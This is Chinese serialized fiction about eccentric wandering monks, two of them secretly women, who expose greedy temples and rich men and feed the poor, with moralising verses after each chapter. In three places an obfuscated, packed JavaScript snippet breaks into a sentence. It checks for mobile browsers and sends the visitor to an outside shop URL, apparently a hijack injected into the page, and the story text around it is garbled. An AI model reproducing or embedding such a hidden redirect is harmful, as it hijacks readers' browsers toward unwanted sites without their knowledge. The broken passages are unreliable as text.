“有。”布袋往火堆里添柴，“神通就是——我知道冷，知道饿，知道痛。你们也知道。这便是神通。” 乞丐们哄笑：“这算什么神通！” “这神通最大。”布袋正色，“佛为什么成佛？因为他知众生苦。知苦，方能渡苦。我知你们苦，所以来和你们烤火；你们知彼此苦，所以分一碗粥。这便是渡。” 一老丐叹道：“可渡了我们几个，渡得了满城苦么？” “渡一个是一个。”布袋伸手烤火，“火堆就这么大，能暖几人暖几人。若嫌暖得少，便不加柴，那一个也暖不了。” 正说着，庙外来了一群人，是周半城的家丁，说要“请”和尚过府“讲经”。布袋不动，只说：“告诉周老爷，他要的经，在城南乱葬岗。那里躺着他逼死的三条人命，经在尸骨上写着呢，他自己去读。” 家丁变色，强行动手。布袋也不抵抗，被架着走。路过顾清源公廨时，他忽然高歌： “金满箱，银满箱，转眼乞丐人皆谤。 正叹他人命不长，哪知自己归来丧！ 乱烘烘你方唱罢我登场，反认他乡是故乡。 甚荒唐，到头来都是为他人作嫁衣裳！” 顾清源推窗，见布袋被拖行，雪地上一道痕。他忍了又忍，终是拍案而起：“住手！” 家丁见是师爷，悻悻放手。顾清源上前，对布袋长揖：“和尚，清源愚钝，至今方懂——你这布袋，装的是人间公道。” 布袋笑，从破袋中掏出个东西，塞给顾清源：“师爷，这个送你。” 是个木头刻的小弥勒，笑脸团团，可眼中无珠——是俩窟窿。 “这是…” “弥勒。”布袋道，“佛在时，眼里有众生；佛去后，眼里只剩窟窿，因为众生…都不看佛了，只看佛前的香火。” 他转身，对周府家丁道：“回去告诉周老爷，今夜三更，我自会去。让他备好酒，我要与他…讲讲《金刚经》。” 家丁将信将疑，散去。顾清源急道：“和尚，周半城心狠手辣，你去不得！” “去得。”布袋拍拍他肩，“师爷，你记住——这世间最利的剑，不是刀剑，是真话；最坚的盾，不是铁甲，是良心。我有真话，他有良心么？” 他大笑，晃着破扇，踏雪而去。那百衲衣在风中飘荡，像个移动的破布袋。 顾清源握紧手中木弥勒，窟窿眼里，映着灰蒙蒙的天。 四、 布袋空空 当夜三更，周府。 周半城备了桌素斋，等和尚。等到四更，人影不见。正要怒，忽听窗外有人哼曲： “世人都晓神仙好，唯有功名忘不了！ 古今将相在何方？荒冢一堆草没了…” 推窗，见布袋坐在院中老槐枝上，晃着腿，破扇摇雪。 “和尚，下来喝酒！” “酒肉穿肠过。”布袋一跃而下，落地无声，“周老爷，你请我来，是问前程，还是问良心？” 周半城强笑：“自然是…问佛法。” “佛法？”布袋坐定，自斟一杯，“佛法说，诸恶莫作，众善奉行。周老爷，你作的恶，罄竹难书；行的善，屈指可数。这佛法，你听不进去。” “你！”周半城拍案。 “莫急。”布袋饮尽酒，“我说几桩，你听对不对——三年前，你强买李寡妇的茶园，逼其投井；两年前，你私涨佃租，饿死佃户王老三一家五口；去年，你贿赂考官，将儿子周庸才塞进乡试榜…还要我说么？” 周半城脸色煞白，颤声：“你…你如何知晓？” “你每作一恶，夜里可睡得安稳？”布袋盯着他，“那李寡妇的哭声，王老三儿女的哀嚎，可曾入梦？你儿子中举那夜，你梦见什么？是喜，还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088170|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …怕？” 周半城跌坐椅中，冷汗如雨。 “周老爷，你库里有金万两，可买不来一夜安眠；你妻妾成群，可暖不了你一颗冷心。”布袋起身，“佛说回头是岸，岸在何处？在你心里。你心里有岸，才能回头；心里只有金山银山，回头…也是撞山。” 他走到门口，回头一笑：“今夜之后，青州再无周半城。你好自为之。” 言罢，推门而去。周半城呆坐至天明，忽大笑，笑出泪来。当日，他散尽家财，一半还债，一半捐建义学、粥棚。自己一袭布衣，出了青州，不知所踪。 消息传出，全城震动。都说布袋和尚是“活佛降世”，能“点石成金，化恶为善”。 布袋却躲在城隍庙，三天不出。顾清源去寻他，见他正给乞儿们分粥，依旧是那副嬉笑模样。 “和尚，周半城…” “死了。”布袋打断，“周半城死了，活了个周善人。这是好事。” “可外头都说你有神通…” “我有屁神通。”布袋啐了一口，“我若有神通，先让这世道不苦，让穷人吃饱，让冤者得雪。可我做不到，只能耍耍嘴皮子，吓吓恶人——这算什么神通？这是…无奈。” 他低头搅粥，侧脸在火光中，竟有几分悲戚。 顾清源轻声道：“和尚，你…到底是何人？” 布袋抬头，眼中映着火：“我是谁不重要。重要的是，师爷，你是谁？是顾清源，还是…顾师爷？是心里有火的书生，还是…衙门口的石狮子？” 顾清源默然。是啊，他是谁？来青州三年，初时也想做番事业，可渐渐磨平了棱角，学会了“顾全大局”。直到这疯和尚来，撕开太平假象，他才看见自己心里，那点火还没灭。 “和尚，我…” “不必说。”布袋盛了碗粥给他，“喝了粥，有力气。往后，这青州…靠你了。” 顾清源接过，粥烫，烫得眼发热。 腊月三十，除夕。布袋要走，说“年关难过，去别处看看”。满城百姓来送，有送干粮的，有送棉衣的，他统统塞进那破布袋——布袋依旧瘪着，像个无底洞。 顾清源送他到城门。雪停，夕阳如血。 “和尚，往后去哪？” “天下之大，处处可去。”布袋拍拍空袋，“袋里有风，有月，有人间苦。够了。” 他转身，趿拉着草鞋，晃着破扇，哼着不成调的歌，渐渐消失在官道尽头。 顾清源立了许久，直到暮色四合。回身时，见城门上新贴了副对联，墨迹未干： “布袋空空，装尽人间不平事 破扇摇摇，扇开世上糊涂心” 无落款，但那字迹歪斜，像极了某人手笔。 顾清源笑了，笑着笑着，泪流满面。 这青州的年，终于有了点人味。 尾声弥勒在野 三年后，顾清源升任青州知府。他重修水渠，减免赋税，平反冤狱。青州渐有“小江南”之称。 有富商送金佛，他拒了，只在堂上供了个木雕弥勒，眼是窟窿的。百姓问为何，他说：“佛无眼，是让我们自己看。看清了，才知道路怎么走。” 又三年，他辞官归隐，在城南办义学，专收贫寒子弟。教材是他自编的《民生实鉴》，头一课便是： “道在屎溺，佛在人间。莫问神通，但看脚下。” 常有游方僧人来，说起各地见闻。有说某地出了个疯和尚，专骂贪官；有说某县有个布袋僧，散财济贫。顾清源听了，只笑，给那木弥勒擦擦灰。 木弥勒永远笑着，窟窿眼里，盛着光阴。 这年清明，顾清源带学生去郊外踏青。在河边，见一老僧正洗衣，背影佝偻。学生中有人指道：“先生，那和尚的布袋，好破！” 顾清源望去，那老僧腰间，确有个褪色的布袋，随风飘荡。 他走近，看清老僧面容——鸡皮鹤发，可那双眼，清亮如昔。 “和尚…”顾清源颤声。 老僧抬头，咧嘴一笑，缺了颗门牙：“施主，洗衣呢。要帮忙么？” 顾清源蹲下，帮他拧衣。水流过手，冰凉。 “这些年…可好？” “好。”老僧拧干最后一件，“东边日出西边雨，道是无晴却有晴。这世道，总有人醒着，就够了。” 他起身，将湿衣塞进布袋——布袋依旧瘪着。背上，晃着破扇，趿拉着草鞋，走了。 走几步，回头，对顾清源眨眨眼：“对了，那个木弥勒…眼该补上了。用琉璃珠，透亮，好看。” 言罢，哼着歌远去： “世人都晓神仙好，只有金银忘不了！ 终朝只恨聚无多，及到多时眼闭了…” 歌声渐远，融进春风里。 学生问：“先生，这和尚是谁？” 顾清源望着那背影消失处，轻声道： “是弥勒。” “弥勒佛？” “不。”顾清源摇头，“是弥勒…在人间。” 河面波光粼粼，映着天光云影。那破布袋的影子，在水里晃啊晃，晃成一片涟漪，荡开，散了。 唯歌声隐隐，在风里，在春光里，在这人间烟火里。 年年岁岁，岁岁年年。 本章诫世 一、 布袋空空之喻 - 布袋常空，却装“人间不平事”，讽喻物质丰盈与精神空虚 - 破解法：凡见“满口仁义”者，察其行；凡遇“标榜清贫”者，观其心 - 示例：周半城金玉满堂而良心空洞，布袋身无长物而心怀苍生 二、 疯癫真言之悖 - 以狂悖言行承载真理，以嬉笑怒骂点化众生 - 惕世：当正常成为麻木，疯狂反成清醒；当虚伪成为礼仪，真话反成毒药 - 反思：正统与异端、庄严与嬉笑的价值重估 三、 弥勒在野之思 - 真佛不在殿堂，在民间疾苦中 - 深层隐喻：当宗教沦为权力装饰，真信仰流落市井 - 终极指向：渡人者先需自渡，救世者首在救心 布袋偈： 布袋空空行路长，破扇摇摇世态凉。 金玉满堂眠不稳，布衣一袭梦犹香。 莫道疯癫无真语，且看弥勒在街坊。 但得心头慈悲在，何须殿宇拜金装？ 后世叹： 天启三年腊月寒，青州城下布袋单。 笑指朱门说罪孽，怒将白粥化贫餐。 空袋能装天下苦，破扇可扇世间奸。 莫问和尚何处去，春风陌上草芊芊。 正是： 青州腊月雪飞沙，布袋摇扇过酒家。 笑指豪门金作马，怒将冤案泪成茶。 空囊能载千般苦，破袖可收万里霞。 莫道人间无弥勒，且看春风绿蒹葭。 19. 游方无相谳 楔子无头佛子 贞元三年春，长安西郊乱葬岗的野槐树上，倒挂了个“人”。 说“人”不像人，着百衲破衣，露出的皮肉满是疮痂。倒挂着，却还在打鼾，鼾声均匀，惊得老鸹不敢近前。更奇的是，此人无发，顶上有九个戒疤，新旧交错，像胡乱烙的。 卯时，樵夫王二路过，见树上挂人，以为吊死鬼，喊来地保。地保带人解下来，一探鼻息，还在喘气。摇醒，那人睁眼，眸子清亮如孩童，开口第一句： “有粥么？饿了。” 一、 长安不受 这怪人自称“无相”，问来历，只笑：“从来处来。”问师承，摇头：“无师自通。”问欲往何处，指西：“有苦处去。” 地保见他痴傻，报官。长安府法曹参军李岩，是个较真的人，将无相带回衙门，细细盘问。 “你头上戒疤，何处受的？” “自己烙的。”无相咧嘴，“烫一下，记一道苦。记了九道，够了。” “胡闹！戒疤乃佛门大戒，岂可自烙？” “佛在心，不在头。”无相摸疤，“世人烧香拜佛，是求佛免苦。我烙疤记苦，是怕忘了苦——忘了苦，怎知众生苦？” 李岩蹙眉：“你既是佛门中人，为何不去寺庙挂单？” “去了，不让进。”无相从破袖中掏出几片烂菜叶，嚼着，“大慈恩寺说衣冠不整，荐福寺说无度牒，青龙寺说…说我太臭，熏了佛。” “那你…” “我在庙门口睡了三天。”无相笑，“饿了，有香客施半个馍；渴了，喝檐下雨。第三天，知客僧端盆水出来，说‘洗洗脚，莫污了佛地’。我洗了，他又说‘水要三文’。我没钱，便走了。” 李岩沉吟。他见过游方僧，多是落魄，但落魄至此还笑嘻嘻的，少见。 “你既无处可去，本官可荐你去城外小庙…” “不去。”无相摆手，“庙里有佛，佛前有人。人在求佛，佛在收钱。我不求佛，佛不要我，正好。” 他起身，拍拍尘土：“大人若无事，我走了。城南有窝棚，昨夜听说死了个老丐，我去看看，帮他合眼。” “你认得？” “不认得。但死人要人送，活人要人看，都一样。” 言罢，摇摇晃晃出衙。李岩鬼使神差，换了便服，跟上去。 二、 窝棚送死 城南窝棚区，是长安最脏处。污水横流，臭气熏天。无相轻车熟路，钻进个半塌的草棚。棚里草席上，躺着个老丐，已僵了，眼还睁着。 无相蹲下，合上老丐眼皮，轻声念：“尘归尘，土归土，苦到头，便是福。”又从怀里掏出半块硬饼，掰碎，撒在老丐身上：“路上吃，别饿着。” 旁有乞丐嗤笑：“疯子！死人能吃饼？” “活人给的，死人能收。”无相不恼，“就像庙里供果，佛吃不着，人吃了，也算功德。” 他起身，在棚外挖坑。土硬，手无工具，就用石块挖，指甲抠。李岩看不下去，递过短刀。无相接过，笑：“刀好。可惜只能挖土，不能挖苦。” “苦如何挖？” “苦在心里，得用心挖。”他边挖边说，“这人叫老倔，年轻时是石匠，修皇陵砸断了腿，工头不给治，赶出来。乞讨三十年，攒了三吊钱，想买副薄棺。前天钱被偷了，气死的。” “你怎知？” “昨夜我在这，他说的。”无相抹汗，“他说，不要棺了，曝尸荒野，让野狗吃，让官老爷看看，长安城还有这样死的人。” 坑挖好，无相将老倔拖入，掩土。无碑，插了根枯枝。他合十拜了拜，转身对围观的乞丐道：“谁还想死？我送。不要钱，只要句话——说说这辈子，最苦是什么，最甜是什么。” 乞丐们面面相觑。一瞎眼老妪颤巍巍道：“我…我说。最苦是眼瞎那年，儿媳妇把我赶出来，说‘老不死，浪费粮食’。最甜…是前天，有个小娘子给我半块糖糕，甜，真甜。” “好。”无相点头，“苦记住了，甜也记住了。下辈子，若还能做人，多给人甜，少给人苦。” 他又问几人，答的五花八门：有苦是饿三天，甜是捡个肉包子；有苦是儿子战死，甜是梦见他回家；有苦是病不起，甜是昨夜无相给了碗热汤。 问完，无相对李岩道：“大人听见了？这便是长安。庙里的经，是讲极乐；这里的经，是讲活着。哪个是真经？” 李岩不答。他看见无相的手，挖土挖得鲜血淋漓，却还在笑。 三、 市井说法 无相在窝棚区住下了。白日捡烂菜叶，夜里睡草堆。渐渐，有乞丐找他“说法”。 不是说法，是说苦。说完了，无相有时回几句，有时只听着。说的都是大白话： “你恨儿媳妇，是该恨。可恨久了，苦的是自己。不如当她是个讨债鬼，债还完了，就两清了。” “你想儿子，是该想。可人死了，就像水泼出去，收不回。记得他的好，就是他在你心里还活着。” “你病，是命，也得抗。抗不过，是命到头；抗过了，是命不该绝。别求神，神忙，顾不过来这么多苦命人。” 乞丐们听得懵懂，但觉舒坦。有病的，无相去野地拔些草根，捣烂敷上，竟也见好。问是什么药，他说：“心药。信则灵，不信则不灵。你信它能好，它就好些；你不信，它就是草。” 消息传开，有市井小民也来听。无相便在河边柳树下，摆个破蒲团，谁问都说。有问财运的，他说：“财是水，流来流去。你省一口，就有了；你贪一缸，就淹死了。” 有问姻缘的，他说：“姻缘是债，不是缘。欠债还债，还完了，就散了。若想不散，就多存点，别讨债。” 有问功名的，他大笑：“功名是梯子，有人上，有人下。爬得高，摔得狠；在低处，踏实。你看那树，高的招风，矮的安稳。” 话虽糙，理却透。来听的人越来越多，竟有书生记下来，取名《无相俗话》，暗中传抄。 这日，来了个绸缎商，姓周，捐了十两银，求问“家宅不宁，何以解”。 无相将银子还他：“买十石米，散给窝棚区，你的宅就宁了。” “这…这是何道理？” “你家财万贯，仆役成群，却夜夜惊醒，怕人偷，怕贼抢，怕买卖亏——这是心不宁。散些米，让人吃饱，你少些怕，他们多些暖，两下安宁。”无相道，“佛说布施，不是让你买心安，是让你见众生苦，知自己福，心自然安。” 周商人将信将疑，真买了米来散。散了三日，回来说：“奇了，这两夜，睡得踏实。” 无相笑：“不是米灵，是你心里那杆秤，平了。” 四、 佛道不容 无相的名声，终传到寺庙道观。 大慈恩寺首座觉明，亲自来“看看”。见柳树下围了数百人，无相坐破蒲团上，正说“佛是过来人，人是未来佛”，大怒： “妖言惑众！佛岂是你能妄议的？” 无相睁眼：“大师，佛说众生平等。既是平等，为何你能说，我不能说？” “你无度牒，非佛门中人！” “佛门在哪？”无相指心，“在这。有门，是心门；无门，是执迷。大师守着庙门，我守着心门，哪个是佛门？” 觉明语塞，拂袖而去。次日，荐福寺、青龙寺、玄都观，各遣人来“劝诫”，说无相“谤佛毁道，扰乱民心”。 无相不争，只问：“我扰了谁？是扰了香客捐钱，还是扰了大师清修？” 来人说不出。便有官府衙役来驱赶，说“聚众滋事”。无相收拾破蒲团，对众人道：“散了，太阳落山，该吃饭了。” 他不走，仍在河边。夜里，有乞丐偷偷送吃食，他分给更饿的。三日后，觉明又至，这次带了本《金刚经》： “你既说佛，可懂经？” “不懂。”无相坦然，“但懂人。经是人写的，说人的理。人若苦，理再高，也无用。” “狂妄！此乃佛陀亲说！” “佛陀也是人。”无相道，“他见人间苦，才说法。若今日他见长安，见窝棚，见饿殍，他会说什么？是说‘一切有为法，如梦幻泡影’，还是说‘先给碗粥’？” 觉明气极，命小僧将无相绑了，要“押回寺中管教”。李岩赶来，亮出腰牌：“此人未犯律法，不得擅拘。” “他谤佛！” “谤佛不犯法，谤官才犯法。”李岩冷脸，“大师请回。” 觉明恨恨而去。当夜，无相栖身的草棚被烧。他不在，去给病丐采药了。回来见灰烬，笑笑，在灰堆旁睡了。 李岩次日来，见他满脸烟灰，叹道：“何必如此？我可荐你去乡下…” “不去。”无相抹脸，“火是试金石，烧了草，烧不了心。他们容不下我，是因我说了真话——佛不要金，人要粥；道不要香，人要命。这话刺耳，刺得庙里的金身，都坐不住了。” 他望向城中，寺庙金顶在晨曦中闪光：“大人，你看那光，多亮。可照不到窝棚，照不到死人，照不到…人心里的暗处。” 李岩沉默。他忽然觉得，眼前这脏污的怪人，比满城高僧，更像尊佛。 五、 弥勒一笑 七月十五，中元节，鬼门开。长安有“放河灯”习俗，百姓扎灯放入渭水，祭亡魂。 这夜，渭河边人山人海。无相也来了，不扎灯，坐岸边看灯。灯如繁星，顺水流，映得水面一片暖黄。 忽有小儿落水，母亲惊呼。无相纵身跳下，将小儿托起，自己却被暗流卷走。众人惊呼，会水的下去救，捞起时，他已昏迷，手中还紧攥着小儿一只鞋。 抬到岸上，掐人中，泼水，良久，他咳出口污水，睁眼第一句：“孩儿…可好？” 小儿在母怀哭，他笑了。众人要抬他看郎中，他摆手：“不用，死不了。” 挣扎起身，浑身湿透，破衣贴在身上。有眼尖的惊呼：“他…他是女子！” 无相一僵。湿衣显出身形，虽瘦削，却有女子曲线。她低头，苦笑：“还是瞒不住。” 满场哗然。女子剃发，自烙戒疤，游方行乞…闻所未闻。 李岩拨开人群，凝视她：“你…究竟是？” “无相。”她合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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未褒未贬，但各寺方丈，都读出了冷汗。 贞元五年冬，渭河结冰。有孩童在冰上玩耍，捡到个油布包。打开，是卷手抄经，字迹歪斜，却力透纸背。首句： “佛不在西天，在饿者得食时； 道不在深山，在病者得医处。 经不必念，行便是经； 咒不必持，善便是咒。 若问我是谁， 我是无名人， 说些有用话， 做点实在事。” 末无署名，只画了个圆圈，似日似月，似心似空。 孩童交给李岩。李岩捧经，良久，悬于书房。 每逢有僧道来论法，他便指此经：“先读此经，再谈佛法。” 僧道读罢，多掩面而去。 从此，长安再无“无相”。 但渭水夜夜流，河灯年年放。 放灯时，总有老人对孩子说： “从前啊，有个无相师父，说佛是热的，道是暖的，人是苦的，心是善的…” 孩子问：“后来呢？” “后来啊，”老人望向西天，“她变成了一盏灯，在夜里，给迷路的人，照个亮。” 孩子似懂非懂，将手中灯，轻轻推入水中。 灯晃晃悠悠，流向远方。 流向每一个，需要光的，角落。 本章诫世 一、 无相行脚之镜 - 以无度牒、无寺庙、无姓名的“三无”行者，对照体制化宗教 - 破解法：凡标榜“正统”者，必察其实行；凡排斥“异端”者，必思其心虚 - 示例：自烙戒疤、窝棚说法、拒入寺庙 二、 女身说法之悖 - 女性需扮男装方能行脚说法，揭露宗教性别壁垒 - 惕世：当制度排斥女性，真知可能以伪装现世 - 反思：宗教平等口号下的性别现实 三、 俗话真经之照 - 《无相俗话》对照藏经阁典籍，显“有用”与“无用”之别 - 深层隐喻：真理在民间疾苦中，不在殿堂经卷里 - 终极质问：渡人的是经文，还是热汤？ 行脚偈： 无相无名无度牒，有疮有疤有热血。 不求金殿一炷香，但施窝棚半碗粥。 佛道不容真行者，市井偏传有用诀。 莫问菩萨何处去，渭水灯流夜未歇。 后世叹： 贞元三年春尚寒，乱葬岗上倒挂禅。 自烙戒疤记世苦，遍行市井说人难。 河灯照出女儿相，渭水流尽众生叹。 莫道长安无真佛，真佛原不坐金坛。 正是： 长安城外柳絮飞，无相行脚破衲衣。 自烙戒疤九点痛，遍尝世味一味悲。 佛道难容真行者，市井偏传俗话稀。 莫问菩萨归何处，河灯夜夜照人归。 20. 烟雨真佛谳 楔子画中僧人 大丰三年春，苏州城来了个卖画的穷书生，在阊门外摆摊。画不奇，奇的是画中人——是个年轻僧人，娃娃脸，笑眼弯弯，赤脚站在雨中，身后烟雨朦胧，隐约见无数寺庙飞檐。 画上题诗： “千里莺啼绿映红，水村山郭酒旗风。 南朝四百八十寺，多少楼台烟雨中。” 题款小字：“画此见者，可唤我名。” 书生自称姓杜，说这画是昨夜梦中所见，晨起急就。有人问画中僧是谁，他摇头：“不知，但觉该画。” 画挂了三天，无人问津。第四日，来了个绸缎商，看画良久，忽然变色：“这…这画中僧，我见过！” “在何处？” “在…在寒山寺外，前日！他在雨中施粥！” 一、 寒山拒僧 寒山寺是姑苏名刹，香火鼎盛。前日春雨，寺外来了个赤脚僧人，二十许模样，面如孩童，笑嘻嘻支起口破锅，熬粥施舍。粥是菜叶混糙米，却香飘半条街。 饥民排队，僧人不问来处，见碗就舀。有老丐问：“小师父是哪座宝刹的？” “无刹。”僧人笑，“天是顶，地是床，哪都是刹。” “法号如何称呼？” “你叫我什么，我就是什么。”僧人舀粥，“叫和尚也行，叫花子也行，叫…喂，那个打伞的，别淋着。” 他招呼的是个躲雨的卖花女。卖花女怯生生过来，他递过碗粥：“喝口暖的。” 正施着，知客僧了尘出来，见寺门外聚满乞丐，大怒：“哪来的野僧，在此聚众滋事？” 娃娃脸僧合十：“师父，雨大，施碗粥，不滋事。” “要施回你庙里施！寒山寺门前，岂容你撒野？” “我无庙。”僧人指天，“这雨是佛洒的，这地是佛赐的，我借佛的地，施佛的粥，有何不可？” 了尘语塞，唤来武僧驱赶。娃娃脸僧不争，收拾破锅，对饥民道：“明日，枫桥下，还有粥。” 他赤足走入雨中，破衲贴在身上，背影单薄。卖花女追上去，塞给他把油伞：“师父…留着用。” 他回头一笑，接伞，却转手递给个跛脚老丐：“您腿脚不便，用这个。” 自己仍淋着雨，哼着小调走了。 杜书生听罢，喃喃道：“是他…真是他。” 他卷起画，直奔枫桥。 二、 枫桥粥棚 枫桥是运河码头，货船如梭。娃娃脸僧真在桥洞下支了锅，这次不只粥，还多了些草药，给生疮的乞丐敷用。 杜书生上前，展画：“师父，这画中人，是您么？” 僧人瞥了眼，笑：“像，也不像。画里人在雨中，我在雨外——你看，我有棚。”他指指头顶破席。 “您…究竟是何人？” “是个人。”僧人搅粥，“饿了吃饭，渴了喝水，冷了加衣，见苦难过，就帮一把。简单。” 杜书生收起画，帮他添柴。僧人问：“你是读书人？” “是。” “读书为何？” “为…为功名。” “功名为何？” “为…为光宗耀祖，为民请命。” 僧人笑了，舀勺粥递给他：“先填饱肚子，再谈请命。肚子空，命也轻。” 杜书生接粥，烫，吹着喝。粥糙，却有股清气。正喝着，码头喧哗——有货船撞了渔船，渔夫落水，船主是豪商，命船工不准救，说“晦气”。 僧人扔下勺，纵身跳河。春水寒，他几个起伏，将渔夫拖上岸。自己冻得唇紫，却还笑：“还好，活着。” 渔夫家人来谢，他要了碗热水，给了渔夫，自己拧衣。豪商在船头骂：“多管闲事！淹死你个秃驴！” 僧人仰头：“施主，人命关天，不是闲事。你今日不救，明日你落水，谁救？” “我有钱！雇人救！” “钱能雇人，雇不来良心。”僧人拧干衣，赤脚走回桥洞，“就像香能买佛，买不来慈悲。” 豪商啐了一口，开船走了。渔夫跪谢，僧人扶起：“不必谢，见死不救，夜里睡不着。你好好活着，就是谢我。” 他继续施粥，仿佛无事发生。杜书生却呆了——这僧人跳河救人，自然如呼吸，救人后不居功，淡然如风。 是傻，还是… “师父，”他轻声问，“您这般行事，不怕得罪人？” “不得罪人，就得罪心。”僧人头也不抬，“心说该做，就做了。想太多，就做不了了。” 午后，雨又下。粥棚前排起长队。有老妇递上枚铜钱，僧人不收：“粥不要钱，要钱就不施了。” “那…那师父靠什么活？” “天给饭，地给床，人给缘。”他指指运河，“你看这水，流到哪，是哪。我也一样，走到哪，是哪。不操心明天，今天饱了，就行。” 杜书生看着他侧脸，娃娃脸上沾了灰，却有种说不出的干净。 三、 四百八十寺 三日后，杜书生决定跟着这怪僧。僧人不拒，只说：“跟着行，别问，看就行。” 他们沿运河南下。每到一处，僧人必访寺——不是进香，是看。看寺门如何对香客，看功德箱摆在何处，看僧人如何念经、如何待穷人。 在镇江金山寺，知客僧见他们衣衫褴褛，拦在门外：“今日有法会，闲人莫入。” 僧人问：“佛说众生平等，为何闲人不能入？” “佛门清净地，岂容污秽？” “污秽在外，还是在内？”僧人指寺内，几个绸缎香客正捐金箔，“那几位身上熏香，可心里干净么？” 知客僧怒，唤武僧。僧人笑笑，转身对门外乞丐说：“走，咱们去江边，我给你们讲个故事——讲佛陀当年，如何在菩提树下，等一个乞丐来问法。” 他真在江滩坐下，讲“乞儿闻法得道”的故事。乞丐围坐，听得入神。有香客好奇，也来听。人越聚越多，寺里钟磬声，反被江风盖过。 在常州天宁寺，殿前摆着“祈福榜”，捐十两可上榜，捐百两可刻碑。僧人看了，摇头：“佛要榜做甚？要碑做甚？要的是人心向善，不是向钱。” 他找来木炭，在寺外墙根下，画了幅“施粥图”，题字：“真功德，在此处。” 有学童问：“小师父，你不拜佛么？” “拜啊。”僧人合十，朝江中一拜，“佛在江里，渡人；在粥里，暖人；在你心里，醒人。何必非进殿，跪泥胎？” 在无锡南禅寺，方丈亲自出迎——不是迎他，是迎他身后的杜书生。原来杜书生叔父是本地通判，方丈想托关系免田税。 僧人听了，对方丈一揖：“大师，您这禅，参到官场去了？” 方丈尬笑：“小师父不懂，寺大僧多，总要打点…” “打点佛，还是打点人？”僧人问，“若佛需打点，还是佛么？若人需打点，这禅，参的是空，还是色？” 方丈色变，送客。 出寺，杜书生叹：“江南四百八十寺，竟无一处容你。” 僧人笑：“容不容，是他们的事。进不进，是我的事。我进，是为看看，佛还在不在寺里。看了，佛还在——” 他指指心口：“在这儿。寺里，多是生意。” 是夜，宿破庙。僧人对月吟诗： “千里莺啼绿映红，水村山郭酒旗风。 南朝四百八十寺，多少楼台烟雨中。” 吟罢，对杜书生道：“这诗，你只读出了景，我读出了人——那些寺里，本该住着真修行的僧，烟雨中，本该传出真慈悲的经。可如今，楼台多了，烟雨浊了。可惜。” 杜书生问：“那真佛在何处？” 僧人指指自己，又指指他：“在你，在我，在肯施一碗粥、肯拉落水人一把的每一个人心里。寺是屋，佛是心。心若在，处处是寺；心若不在，金殿也是空壳。” 他躺下，以石为枕，眨眼睡了。 月光照在他娃娃脸上，纯净如婴。 四、 广陵露相 四月，至扬州。扬州富甲天下，寺庙亦极尽奢华。大明寺正在办“浴佛大典”，信众捐金箔为佛贴金，一片金箔一两银。 僧人蹲在寺外柳树下，看了一上午。午时，有个病妇携子来，想进寺求药，知客僧见其穷，不让进。妇跪求，僧人不理。 僧人起身，走过去，对知客僧道：“让她进，我替她捐金箔。” “你？”知客僧嗤笑，“你有钱么？” 僧人自怀中掏出一物——是块晶莹剔透的玉环，水色极好。知客僧眼直了：“这…这是羊脂玉！” “够么？” “够！够十片金箔！” 僧人递玉：“让她进，这玉，捐了。” 知客僧忙迎妇入。僧人却拦下：“等等，我有一问——佛要金身做甚？” “显庄严啊！” “佛若庄严，在心，不在身。”僧人将玉环收回，“这玉，我改主意了，不捐了。我要当了她，换钱，给这妇人治病。” 他真去了当铺，当玉得银五十两，全给了病妇。妇泣谢，他摆手：“快治病，好了，就是谢我。” 这一幕，被扬州知府之子陈文瑞看见。陈公子好佛，见状上前：“小师父，那玉是宝贝，为何当了？” “玉是死物，人是活物。救活物，比供死物强。” “可那是供佛的…” “佛要人活，不要玉供。”僧人笑，“若佛因我当了玉救人而嗔怒，那这佛，不拜也罢。” 陈公子大奇，邀他过府。僧人不去：“府门高，我脚矮，迈不进。若有心，明日此时，瘦西湖边，我煮茶，你带耳朵来。” 次日，瘦西湖。僧人真煮了茶，粗茶，用破壶。陈公子来，还带了几位文人。僧人盘坐柳下，不说法，说茶： “这茶苦，可苦后回甘。人生也苦，苦透了，才知甜是甜。拜佛求福，是想躲苦。可苦躲不掉，不如尝透，尝透了，苦就不是苦，是…味。” 一文人问：“小师父修的是禅？” “我修的是人。”僧人斟茶，“禅太高，人太低。我在低处，看人苦，就伸手；看人乐，就欢喜。简单。” “那佛法…” “佛法在茶里。”他举杯，“你喝，解渴，舒坦，就是佛法。若喝了还渴，还烦，那法就是假的。” 众人笑。陈公子忽道：“小师父，我总觉得你…不像男子。” 僧人端茶的手，微微一滞。 “你眉眼太清，声音太柔，行事…带着女子的细。”陈公子直视他，“你究竟是男是女？” 僧人放下杯，良久，笑了：“是男是女，有何分别？施粥时，我是和尚；救人时，我是汉子；此刻，我是煮茶人。你要个名相，我给不了。我只知，心是慈悲的，身是皮囊，男女何妨？” 她站起身，春风吹动破衲，显出身形曲线。 众人惊愕。她坦然解开发带——长发披落，虽短，却是女子发式。 “是，我是女子。”她声音轻柔，却清亮，“十三岁家破，被卖入青楼，逃出，自剃发，扮僧行脚。因女子行路难，女子说法，无人听。扮作男僧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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杜书生封笔，在枫桥旁结庐，每日煮茶待客。有问画中僧的，他只斟茶：“喝茶，茶里有她。” 客不解。他指窗外烟雨：“你看这雨，下到寺里，是香火钱；下到锅里，是救命粥。她选了下锅的雨。这选择，便是佛。” 又一年春，江南烟雨依旧。四百八十寺钟声，在雨中沉沉传来。 